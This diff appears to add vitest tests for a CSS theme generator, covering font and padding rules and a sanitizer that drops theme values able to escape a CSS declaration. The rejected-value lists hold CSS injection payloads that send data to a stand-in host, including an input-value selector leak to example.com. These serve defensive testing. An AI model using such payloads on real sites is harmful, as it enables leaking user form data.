- package/src/utils/safeUrl.ts +85 -0
|
@@ -6,7 +6,7 @@
|
|
|
6
6
|
* correct, consistently ordered CSS for both runtime and build paths.
|
|
7
7
|
*/
|
|
8
8
|
|
|
9
|
-
import {describe, it, expect} from 'vitest';
|
|
9
|
+
import {describe, it, expect, vi} from 'vitest';
|
|
10
10
|
import {
|
|
11
11
|
dataTokenDefaults,
|
|
12
12
|
defineTheme,
|
|
@@ -14,6 +14,7 @@ import {
|
|
|
14
14
|
generateThemeCSS,
|
|
15
15
|
generateOnMediaCSS,
|
|
16
16
|
generateThemeRules,
|
|
17
|
+
type DefinedTheme,
|
|
17
18
|
} from './index';
|
|
18
19
|
import {generateDataTokenDefaultsCSS} from './generateThemeRules';
|
|
19
20
|
|
|
@@ -276,6 +277,38 @@ describe('generateThemeRules', () => {
|
|
|
276
277
|
expect(rules.some(r => r.includes(':where(hr)'))).toBe(true);
|
|
277
278
|
});
|
|
278
279
|
|
|
280
|
+
it('applies the theme body font to the scope root', () => {
|
|
281
|
+
// Components styled with `font-family: inherit` (SideNav items, Buttons)
|
|
282
|
+
// resolve against this; without it they fall back to the browser default
|
|
283
|
+
// serif since nothing else sets a page font.
|
|
284
|
+
const fontTheme = defineTheme({
|
|
285
|
+
name: 'with-body-font',
|
|
286
|
+
typography: {body: {family: 'Figtree', fallbacks: 'sans-serif'}},
|
|
287
|
+
tokens: {},
|
|
288
|
+
components: {},
|
|
289
|
+
});
|
|
290
|
+
const fontRules = generateThemeRules(fontTheme);
|
|
291
|
+
const fontRule = fontRules.find(
|
|
292
|
+
r =>
|
|
293
|
+
r.includes(':scope') &&
|
|
294
|
+
r.includes('font-family: var(--font-family-body)'),
|
|
295
|
+
);
|
|
296
|
+
expect(fontRule).toBeDefined();
|
|
297
|
+
expect(fontRule).toBe(
|
|
298
|
+
' :scope {\n font-family: var(--font-family-body);\n }',
|
|
299
|
+
);
|
|
300
|
+
});
|
|
301
|
+
|
|
302
|
+
it('emits no scope font rule when the theme declares no body font', () => {
|
|
303
|
+
// A bare theme contributes no scope rules of its own.
|
|
304
|
+
const fontRule = rules.find(
|
|
305
|
+
r =>
|
|
306
|
+
r.includes(':scope') &&
|
|
307
|
+
r.includes('font-family: var(--font-family-body)'),
|
|
308
|
+
);
|
|
309
|
+
expect(fontRule).toBeUndefined();
|
|
310
|
+
});
|
|
311
|
+
|
|
279
312
|
// --- Prop-level color overrides ---
|
|
280
313
|
|
|
281
314
|
it('includes color prop overrides for text and heading', () => {
|
|
@@ -924,6 +957,33 @@ describe('derived var expansion', () => {
|
|
|
924
957
|
expect(rule).toContain('--_dropdown-menu-padding: 8px');
|
|
925
958
|
});
|
|
926
959
|
|
|
960
|
+
it('emits paddingInline AND internal inset var for item', () => {
|
|
961
|
+
// The inset var is what keeps List's isFullBleed cancel in sync with a
|
|
962
|
+
// themed row padding — the padding override alone would move the text
|
|
963
|
+
// while the cancel keeps the default width.
|
|
964
|
+
const theme = defineTheme({
|
|
965
|
+
name: 'test-derived-item',
|
|
966
|
+
components: {
|
|
967
|
+
item: {
|
|
968
|
+
base: {paddingInline: 'var(--spacing-3)'},
|
|
969
|
+
'density:spacious': {paddingInline: 'var(--spacing-4)'},
|
|
970
|
+
},
|
|
971
|
+
},
|
|
972
|
+
});
|
|
973
|
+
const rules = generateThemeRules(theme);
|
|
974
|
+
const baseRule = rules.find(
|
|
975
|
+
r => r.includes('.astryx-item ') || r.includes('.astryx-item {'),
|
|
976
|
+
);
|
|
977
|
+
expect(baseRule).toBeDefined();
|
|
978
|
+
expect(baseRule).toContain('padding-inline: var(--spacing-3)');
|
|
979
|
+
expect(baseRule).toContain('--_item-inset-inline: var(--spacing-3)');
|
|
980
|
+
const spaciousRule = rules.find(r =>
|
|
981
|
+
r.includes('.astryx-item[data-density="spacious"]'),
|
|
982
|
+
);
|
|
983
|
+
expect(spaciousRule).toBeDefined();
|
|
984
|
+
expect(spaciousRule).toContain('--_item-inset-inline: var(--spacing-4)');
|
|
985
|
+
});
|
|
986
|
+
|
|
927
987
|
it('emits internal vars for chat composer', () => {
|
|
928
988
|
const theme = defineTheme({
|
|
929
989
|
name: 'test-derived-chat',
|
|
@@ -1357,3 +1417,468 @@ describe('data visualization tokens', () => {
|
|
|
1357
1417
|
).toEqual(['component', 'prose']);
|
|
1358
1418
|
});
|
|
1359
1419
|
});
|
|
1420
|
+
|
|
1421
|
+
describe('declaration assembly keeps values as values', () => {
|
|
1422
|
+
/** Run the full runtime generator, collecting every dropped declaration. */
|
|
1423
|
+
function generate(theme: DefinedTheme) {
|
|
1424
|
+
const diagnostics: string[] = [];
|
|
1425
|
+
const {component, prose} = generateThemeCSS(theme, diagnostics);
|
|
1426
|
+
return {css: component + prose, component, prose, diagnostics};
|
|
1427
|
+
}
|
|
1428
|
+
|
|
1429
|
+
/**
|
|
1430
|
+
* Every path a consumer-supplied declaration can take into the stylesheet.
|
|
1431
|
+
* `build` places `value` on that path; `emitted` is the exact declaration
|
|
1432
|
+
* text the path writes for it; `property`/`location` are what a diagnostic
|
|
1433
|
+
* for it must carry.
|
|
1434
|
+
*/
|
|
1435
|
+
const paths: {
|
|
1436
|
+
label: string;
|
|
1437
|
+
property: string;
|
|
1438
|
+
location: string;
|
|
1439
|
+
build: (value: string) => DefinedTheme;
|
|
1440
|
+
emitted: (value: string) => string;
|
|
1441
|
+
}[] = [
|
|
1442
|
+
{
|
|
1443
|
+
label: 'root tokens',
|
|
1444
|
+
property: '--color-accent',
|
|
1445
|
+
location: 'tokens',
|
|
1446
|
+
build: value =>
|
|
1447
|
+
defineTheme({name: 'brand', tokens: {'--color-accent': value}}),
|
|
1448
|
+
emitted: value => `--color-accent: ${value};`,
|
|
1449
|
+
},
|
|
1450
|
+
{
|
|
1451
|
+
label: 'theme-local tokens',
|
|
1452
|
+
property: '--brand-accent',
|
|
1453
|
+
location: 'localTokens',
|
|
1454
|
+
build: value =>
|
|
1455
|
+
defineTheme({name: 'brand', localTokens: {'--brand-accent': value}}),
|
|
1456
|
+
emitted: value => `--brand-accent: ${value};`,
|
|
1457
|
+
},
|
|
1458
|
+
{
|
|
1459
|
+
label: 'tokens inherited from a base theme',
|
|
1460
|
+
property: '--color-accent',
|
|
1461
|
+
location: 'tokens',
|
|
1462
|
+
build: value =>
|
|
1463
|
+
defineTheme({
|
|
1464
|
+
name: 'child',
|
|
1465
|
+
extends: defineTheme({
|
|
1466
|
+
name: 'base',
|
|
1467
|
+
tokens: {'--color-accent': value},
|
|
1468
|
+
}),
|
|
1469
|
+
}),
|
|
1470
|
+
emitted: value => `--color-accent: ${value};`,
|
|
1471
|
+
},
|
|
1472
|
+
{
|
|
1473
|
+
label: 'component variant',
|
|
1474
|
+
property: 'background-color',
|
|
1475
|
+
location: 'components.button["variant:secondary"]',
|
|
1476
|
+
build: value =>
|
|
1477
|
+
defineTheme({
|
|
1478
|
+
name: 'brand',
|
|
1479
|
+
components: {
|
|
1480
|
+
button: {'variant:secondary': {backgroundColor: value}},
|
|
1481
|
+
},
|
|
1482
|
+
}),
|
|
1483
|
+
emitted: value => `background-color: ${value};`,
|
|
1484
|
+
},
|
|
1485
|
+
{
|
|
1486
|
+
label: 'component variant inherited from a base theme',
|
|
1487
|
+
property: 'background-color',
|
|
1488
|
+
location: 'components.button["variant:secondary"]',
|
|
1489
|
+
build: value =>
|
|
1490
|
+
defineTheme({
|
|
1491
|
+
name: 'child',
|
|
1492
|
+
extends: defineTheme({
|
|
1493
|
+
name: 'base',
|
|
1494
|
+
components: {
|
|
1495
|
+
button: {'variant:secondary': {backgroundColor: value}},
|
|
1496
|
+
},
|
|
1497
|
+
}),
|
|
1498
|
+
}),
|
|
1499
|
+
emitted: value => `background-color: ${value};`,
|
|
1500
|
+
},
|
|
1501
|
+
{
|
|
1502
|
+
label: 'component pseudo block',
|
|
1503
|
+
property: 'background-color',
|
|
1504
|
+
location: 'components.button["variant:secondary"][":hover"]',
|
|
1505
|
+
build: value =>
|
|
1506
|
+
defineTheme({
|
|
1507
|
+
name: 'brand',
|
|
1508
|
+
components: {
|
|
1509
|
+
button: {'variant:secondary': {':hover': {backgroundColor: value}}},
|
|
1510
|
+
},
|
|
1511
|
+
}),
|
|
1512
|
+
emitted: value => `background-color: ${value};`,
|
|
1513
|
+
},
|
|
1514
|
+
{
|
|
1515
|
+
label: 'onDark tokens',
|
|
1516
|
+
property: '--color-accent',
|
|
1517
|
+
location: 'onDark.tokens',
|
|
1518
|
+
build: value =>
|
|
1519
|
+
defineTheme({
|
|
1520
|
+
name: 'brand',
|
|
1521
|
+
onDark: {tokens: {'--color-accent': value}},
|
|
1522
|
+
}),
|
|
1523
|
+
emitted: value => `--color-accent: ${value};`,
|
|
1524
|
+
},
|
|
1525
|
+
{
|
|
1526
|
+
label: 'onLight component variant',
|
|
1527
|
+
property: 'background-color',
|
|
1528
|
+
location: 'onLight.components.button["variant:secondary"]',
|
|
1529
|
+
build: value =>
|
|
1530
|
+
defineTheme({
|
|
1531
|
+
name: 'brand',
|
|
1532
|
+
onLight: {
|
|
1533
|
+
components: {
|
|
1534
|
+
button: {'variant:secondary': {backgroundColor: value}},
|
|
1535
|
+
},
|
|
1536
|
+
},
|
|
1537
|
+
}),
|
|
1538
|
+
emitted: value => `background-color: ${value};`,
|
|
1539
|
+
},
|
|
1540
|
+
{
|
|
1541
|
+
label: 'onDark component pseudo block',
|
|
1542
|
+
property: 'background-color',
|
|
1543
|
+
location: 'onDark.components.button["variant:secondary"][":hover"]',
|
|
1544
|
+
build: value =>
|
|
1545
|
+
defineTheme({
|
|
1546
|
+
name: 'brand',
|
|
1547
|
+
onDark: {
|
|
1548
|
+
components: {
|
|
1549
|
+
button: {
|
|
1550
|
+
'variant:secondary': {':hover': {backgroundColor: value}},
|
|
1551
|
+
},
|
|
1552
|
+
},
|
|
1553
|
+
},
|
|
1554
|
+
}),
|
|
1555
|
+
emitted: value => `background-color: ${value};`,
|
|
1556
|
+
},
|
|
1557
|
+
{
|
|
1558
|
+
label: 'adaptation tokens',
|
|
1559
|
+
property: '--color-accent',
|
|
1560
|
+
location: 'adaptations[0].tokens',
|
|
1561
|
+
build: value =>
|
|
1562
|
+
defineTheme({
|
|
1563
|
+
name: 'brand',
|
|
1564
|
+
adaptations: {
|
|
1565
|
+
rules: [
|
|
1566
|
+
{
|
|
1567
|
+
when: {pointer: 'coarse'},
|
|
1568
|
+
value: {tokens: {'--color-accent': value}},
|
|
1569
|
+
},
|
|
1570
|
+
],
|
|
1571
|
+
},
|
|
1572
|
+
}),
|
|
1573
|
+
emitted: value => `--color-accent: ${value};`,
|
|
1574
|
+
},
|
|
1575
|
+
{
|
|
1576
|
+
label: 'adaptation component variant',
|
|
1577
|
+
property: 'background-color',
|
|
1578
|
+
location: 'adaptations[1].components.button["variant:secondary"]',
|
|
1579
|
+
build: value =>
|
|
1580
|
+
defineTheme({
|
|
1581
|
+
name: 'brand',
|
|
1582
|
+
adaptations: {
|
|
1583
|
+
rules: [
|
|
1584
|
+
{
|
|
1585
|
+
when: {pointer: 'fine'},
|
|
1586
|
+
value: {tokens: {'--spacing-4': '12px'}},
|
|
1587
|
+
},
|
|
1588
|
+
{
|
|
1589
|
+
when: {pointer: 'coarse'},
|
|
1590
|
+
value: {
|
|
1591
|
+
components: {
|
|
1592
|
+
button: {'variant:secondary': {backgroundColor: value}},
|
|
1593
|
+
},
|
|
1594
|
+
},
|
|
1595
|
+
},
|
|
1596
|
+
],
|
|
1597
|
+
},
|
|
1598
|
+
}),
|
|
1599
|
+
emitted: value => `background-color: ${value};`,
|
|
1600
|
+
},
|
|
1601
|
+
];
|
|
1602
|
+
|
|
1603
|
+
/** Valid CSS a browser keeps inside one declaration. */
|
|
1604
|
+
const preserved: [string, string][] = [
|
|
1605
|
+
['a color-mix()', 'color-mix(in oklch, #FF00FF 80%, white)'],
|
|
1606
|
+
['a gradient', 'linear-gradient(135deg, #FF00FF 0%, #00FFFF 100%)'],
|
|
1607
|
+
['calc()', 'calc(100% - 24px)'],
|
|
1608
|
+
['light-dark()', 'light-dark(#fff, #111)'],
|
|
1609
|
+
['a quoted font stack', "'Inter Var', ui-sans-serif, system-ui"],
|
|
1610
|
+
[
|
|
1611
|
+
'a data: URI (semicolon inside url())',
|
|
1612
|
+
'url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUg==)',
|
|
1613
|
+
],
|
|
1614
|
+
['an uppercase URL()', 'URL(data:image/svg+xml;base64,PHN2Zz4=)'],
|
|
1615
|
+
[
|
|
1616
|
+
'a quoted url() carrying a semicolon',
|
|
1617
|
+
'url("data:image/svg+xml;utf8,<svg/>")',
|
|
1618
|
+
],
|
|
1619
|
+
['an escaped identifier', 'Gill\\ Sans, serif'],
|
|
1620
|
+
['a closed comment with a semicolon inside', 'red /* ; } */'],
|
|
1621
|
+
['a semicolon inside a string', '"a;b"'],
|
|
1622
|
+
['an escaped quote inside a string', '"a\\" ; b"'],
|
|
1623
|
+
['quoted braces', '"} body { color: red }"'],
|
|
1624
|
+
['important', 'red !important'],
|
|
1625
|
+
['nested functions', 'var(--fallback, calc(1px + 2px))'],
|
|
1626
|
+
['CRLF string continuation', '"a\\\r\nb"'],
|
|
1627
|
+
['closed comment with a control character', 'red /* \u0001 ; } */'],
|
|
1628
|
+
[
|
|
1629
|
+
'balanced brackets and parentheses',
|
|
1630
|
+
'[full-start] minmax(0, 1fr) [full-end]',
|
|
1631
|
+
],
|
|
1632
|
+
];
|
|
1633
|
+
|
|
1634
|
+
/** Values a browser reads as the end of the declaration or rule. */
|
|
1635
|
+
const rejected: [string, string, string][] = [
|
|
1636
|
+
[
|
|
1637
|
+
'an unquoted semicolon adds a declaration',
|
|
1638
|
+
'red; background-image: url(https://example.com/leak)',
|
|
1639
|
+
';',
|
|
1640
|
+
],
|
|
1641
|
+
[
|
|
1642
|
+
'an unquoted brace closes the rule',
|
|
1643
|
+
'red } input[value^="a"] { background: url(https://example.com/leak?a) ',
|
|
1644
|
+
'}',
|
|
1645
|
+
],
|
|
1646
|
+
[
|
|
1647
|
+
'an unquoted brace opens a block',
|
|
1648
|
+
'red { background: url(https://example.com/leak) }',
|
|
1649
|
+
'{',
|
|
1650
|
+
],
|
|
1651
|
+
[
|
|
1652
|
+
'an escaped quote is not a string opener',
|
|
1653
|
+
'\\"; background: url(https://example.com/leak); "',
|
|
1654
|
+
';',
|
|
1655
|
+
],
|
|
1656
|
+
[
|
|
1657
|
+
'an unclosed comment swallows the rule',
|
|
1658
|
+
'red /* https://example.com/leak',
|
|
1659
|
+
'comment',
|
|
1660
|
+
],
|
|
1661
|
+
[
|
|
1662
|
+
'an unclosed string swallows the rule',
|
|
1663
|
+
'"https://example.com/leak',
|
|
1664
|
+
'string',
|
|
1665
|
+
],
|
|
1666
|
+
[
|
|
1667
|
+
'an unclosed url() swallows the rule',
|
|
1668
|
+
'url(https://example.com/leak',
|
|
1669
|
+
'url(',
|
|
1670
|
+
],
|
|
1671
|
+
[
|
|
1672
|
+
'an unclosed paren swallows the rule',
|
|
1673
|
+
'calc(1px + var(--example.com/leak)',
|
|
1674
|
+
'(',
|
|
1675
|
+
],
|
|
1676
|
+
[
|
|
1677
|
+
'an unbalanced closer',
|
|
1678
|
+
'red) ; background: url(https://example.com/leak)',
|
|
1679
|
+
')',
|
|
1680
|
+
],
|
|
1681
|
+
['a bad url', 'url(https://example.com/leak a)', 'bad url'],
|
|
1682
|
+
[
|
|
1683
|
+
'a trailing backslash escapes the terminator',
|
|
1684
|
+
'https://example.com/leak\\',
|
|
1685
|
+
'backslash',
|
|
1686
|
+
],
|
|
1687
|
+
];
|
|
1688
|
+
|
|
1689
|
+
describe.each(paths)('$label', path => {
|
|
1690
|
+
it.each(preserved)('emits %s byte-identically', (_label, value) => {
|
|
1691
|
+
const {css, diagnostics} = generate(path.build(value));
|
|
1692
|
+
expect(css).toContain(path.emitted(value));
|
|
1693
|
+
expect(diagnostics).toEqual([]);
|
|
1694
|
+
});
|
|
1695
|
+
|
|
1696
|
+
it.each(rejected)('drops a value where %s', (_label, value, reason) => {
|
|
1697
|
+
const {css, diagnostics} = generate(path.build(value));
|
|
1698
|
+
expect(css).not.toContain('example.com');
|
|
1699
|
+
expect(css).not.toContain('leak');
|
|
1700
|
+
expect(diagnostics).toHaveLength(1);
|
|
1701
|
+
expect(diagnostics[0]).toContain(`"${path.property}"`);
|
|
1702
|
+
expect(diagnostics[0]).toContain(path.location);
|
|
1703
|
+
expect(diagnostics[0]).toContain(reason);
|
|
1704
|
+
});
|
|
1705
|
+
});
|
|
1706
|
+
|
|
1707
|
+
it('keeps a vendor-prefixed property name', () => {
|
|
1708
|
+
const {css, diagnostics} = generate(
|
|
1709
|
+
defineTheme({
|
|
1710
|
+
name: 'brand',
|
|
1711
|
+
components: {
|
|
1712
|
+
button: {
|
|
1713
|
+
'variant:secondary': {
|
|
1714
|
+
WebkitLineClamp: '2',
|
|
1715
|
+
MozOsxFontSmoothing: 'grayscale',
|
|
1716
|
+
},
|
|
1717
|
+
},
|
|
1718
|
+
},
|
|
1719
|
+
}),
|
|
1720
|
+
);
|
|
1721
|
+
expect(css).toContain('-webkit-line-clamp: 2;');
|
|
1722
|
+
expect(css).toContain('-moz-osx-font-smoothing: grayscale;');
|
|
1723
|
+
expect(diagnostics).toEqual([]);
|
|
1724
|
+
});
|
|
1725
|
+
|
|
1726
|
+
it('drops a property name that is not a property name', () => {
|
|
1727
|
+
const {css, diagnostics} = generate(
|
|
1728
|
+
defineTheme({
|
|
1729
|
+
name: 'brand',
|
|
1730
|
+
tokens: {
|
|
1731
|
+
'--x:red} body{color:blue': 'red',
|
|
1732
|
+
} as Record<string, string>,
|
|
1733
|
+
}),
|
|
1734
|
+
);
|
|
1735
|
+
expect(css).not.toContain('body{color:blue');
|
|
1736
|
+
expect(css).not.toContain('body {');
|
|
1737
|
+
expect(diagnostics).toHaveLength(1);
|
|
1738
|
+
expect(diagnostics[0]).toContain('"--x:red} body{color:blue" in tokens');
|
|
1739
|
+
expect(diagnostics[0]).toContain('identifier');
|
|
1740
|
+
});
|
|
1741
|
+
|
|
1742
|
+
it('keeps prose rules intact when a typed token carries a payload', () => {
|
|
1743
|
+
// Prose rules reference the token through var(), so the payload never
|
|
1744
|
+
// reaches them; the token block drops it and the :where(p) rule stays.
|
|
1745
|
+
const {css, prose, diagnostics} = generate(
|
|
1746
|
+
defineTheme({
|
|
1747
|
+
name: 'brand',
|
|
1748
|
+
tokens: {
|
|
1749
|
+
'--text-body-size': '1rem; } body { background: url(x) ',
|
|
1750
|
+
},
|
|
1751
|
+
}),
|
|
1752
|
+
);
|
|
1753
|
+
expect(css).not.toContain('background: url(x)');
|
|
1754
|
+
expect(css).not.toContain('body {');
|
|
1755
|
+
expect(prose).toContain('font-size: var(--text-body-size);');
|
|
1756
|
+
expect(diagnostics).toHaveLength(1);
|
|
1757
|
+
expect(diagnostics[0]).toContain('"--text-body-size" in tokens');
|
|
1758
|
+
});
|
|
1759
|
+
|
|
1760
|
+
it('falls back to the token weight when an authored Heading weight cannot stay a declaration', () => {
|
|
1761
|
+
const payload = '700; } body { background: url(https://example.com/leak) ';
|
|
1762
|
+
const {css, diagnostics} = generate(
|
|
1763
|
+
defineTheme({
|
|
1764
|
+
name: 'brand',
|
|
1765
|
+
components: {heading: {'weight:bold': {fontWeight: payload}}},
|
|
1766
|
+
}),
|
|
1767
|
+
);
|
|
1768
|
+
expect(css).not.toContain('example.com');
|
|
1769
|
+
expect(css).toContain(
|
|
1770
|
+
'.astryx-heading[data-weight="bold"] { font-weight: var(--font-weight-bold); }',
|
|
1771
|
+
);
|
|
1772
|
+
// Reported once, where the authored rule's own declarations are emitted.
|
|
1773
|
+
expect(diagnostics).toHaveLength(1);
|
|
1774
|
+
expect(diagnostics[0]).toContain(
|
|
1775
|
+
'"font-weight" in components.heading["weight:bold"]',
|
|
1776
|
+
);
|
|
1777
|
+
});
|
|
1778
|
+
|
|
1779
|
+
it('falls back to the token weight when an inherited Heading weight cannot stay a declaration', () => {
|
|
1780
|
+
const payload = '700; } body { background: url(https://example.com/leak) ';
|
|
1781
|
+
const {css} = generate(
|
|
1782
|
+
defineTheme({
|
|
1783
|
+
name: 'brand',
|
|
1784
|
+
components: {heading: {'weight:bold': {fontWeight: payload}}},
|
|
1785
|
+
onDark: {components: {heading: {'level:1': {fontSize: '2rem'}}}},
|
|
1786
|
+
}),
|
|
1787
|
+
);
|
|
1788
|
+
expect(css).not.toContain('example.com');
|
|
1789
|
+
expect(css).toContain(
|
|
1790
|
+
':is([data-astryx-media="dark"]) :is(.astryx-heading[data-weight="bold"]) { font-weight: var(--font-weight-bold); }',
|
|
1791
|
+
);
|
|
1792
|
+
});
|
|
1793
|
+
|
|
1794
|
+
it('a dropped container padding still leaves the rest of the rule intact', () => {
|
|
1795
|
+
const {css, diagnostics} = generate(
|
|
1796
|
+
defineTheme({
|
|
1797
|
+
name: 'brand',
|
|
1798
|
+
components: {
|
|
1799
|
+
card: {
|
|
1800
|
+
base: {
|
|
1801
|
+
padding:
|
|
1802
|
+
'16px; } body { background: url(https://example.com/leak) ',
|
|
1803
|
+
borderRadius: '8px',
|
|
1804
|
+
},
|
|
1805
|
+
},
|
|
1806
|
+
},
|
|
1807
|
+
}),
|
|
1808
|
+
);
|
|
1809
|
+
expect(css).not.toContain('example.com');
|
|
1810
|
+
expect(css).toContain('border-radius: 8px;');
|
|
1811
|
+
expect(diagnostics).toHaveLength(1);
|
|
1812
|
+
expect(diagnostics[0]).toContain('"padding" in components.card["base"]');
|
|
1813
|
+
expect(css).not.toContain('--astryx-card-padding');
|
|
1814
|
+
});
|
|
1815
|
+
|
|
1816
|
+
it('warns on the console only when no warning collector is given', () => {
|
|
1817
|
+
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
|
|
1818
|
+
const theme = defineTheme({
|
|
1819
|
+
name: 'brand',
|
|
1820
|
+
tokens: {
|
|
1821
|
+
'--color-accent': 'red; background: url(https://example.com/leak)',
|
|
1822
|
+
},
|
|
1823
|
+
});
|
|
1824
|
+
|
|
1825
|
+
const plainCSS = generateThemeCSS(theme);
|
|
1826
|
+
expect(warn).toHaveBeenCalledTimes(1);
|
|
1827
|
+
expect(warn).toHaveBeenCalledWith(
|
|
1828
|
+
expect.stringContaining(
|
|
1829
|
+
'[astryx theme] dropped "--color-accent" in tokens',
|
|
1830
|
+
),
|
|
1831
|
+
);
|
|
1832
|
+
|
|
1833
|
+
warn.mockClear();
|
|
1834
|
+
const diagnostics: string[] = ['earlier build warning'];
|
|
1835
|
+
const before = JSON.stringify(theme);
|
|
1836
|
+
expect(generateThemeCSS(theme, diagnostics)).toEqual(plainCSS);
|
|
1837
|
+
expect(JSON.stringify(theme)).toBe(before);
|
|
1838
|
+
expect(warn).not.toHaveBeenCalled();
|
|
1839
|
+
expect(diagnostics).toHaveLength(2);
|
|
1840
|
+
expect(diagnostics[0]).toBe('earlier build warning');
|
|
1841
|
+
expect(diagnostics[1]).toContain('dropped "--color-accent" in tokens');
|
|
1842
|
+
warn.mockRestore();
|
|
1843
|
+
});
|
|
1844
|
+
|
|
1845
|
+
it('every shipped generator entry point appends to the warning collector', () => {
|
|
1846
|
+
const theme = defineTheme({
|
|
1847
|
+
name: 'brand',
|
|
1848
|
+
tokens: {
|
|
1849
|
+
'--color-accent': 'red; background: url(https://example.com/leak)',
|
|
1850
|
+
},
|
|
1851
|
+
onDark: {
|
|
1852
|
+
tokens: {
|
|
1853
|
+
'--color-accent': 'red; background: url(https://example.com/dark)',
|
|
1854
|
+
},
|
|
1855
|
+
},
|
|
1856
|
+
adaptations: {
|
|
1857
|
+
rules: [
|
|
1858
|
+
{
|
|
1859
|
+
when: {pointer: 'coarse'},
|
|
1860
|
+
value: {
|
|
1861
|
+
tokens: {
|
|
1862
|
+
'--color-accent':
|
|
1863
|
+
'red; background: url(https://example.com/coarse)',
|
|
1864
|
+
},
|
|
1865
|
+
},
|
|
1866
|
+
},
|
|
1867
|
+
],
|
|
1868
|
+
},
|
|
1869
|
+
});
|
|
1870
|
+
const seen: string[] = [];
|
|
1871
|
+
expect(generateThemeRules(theme, seen).join('')).not.toContain(
|
|
1872
|
+
'example.com',
|
|
1873
|
+
);
|
|
1874
|
+
expect(generateOnMediaCSS(theme, seen)).not.toContain('example.com');
|
|
1875
|
+
expect(generateAdaptationCSS(theme, seen).component).not.toContain(
|
|
1876
|
+
'example.com',
|
|
1877
|
+
);
|
|
1878
|
+
expect(seen).toEqual([
|
|
1879
|
+
expect.stringContaining('in tokens:'),
|
|
1880
|
+
expect.stringContaining('in onDark.tokens:'),
|
|
1881
|
+
expect.stringContaining('in adaptations[0].tokens:'),
|
|
1882
|
+
]);
|
|
1883
|
+
});
|
|
1884
|
+
});
|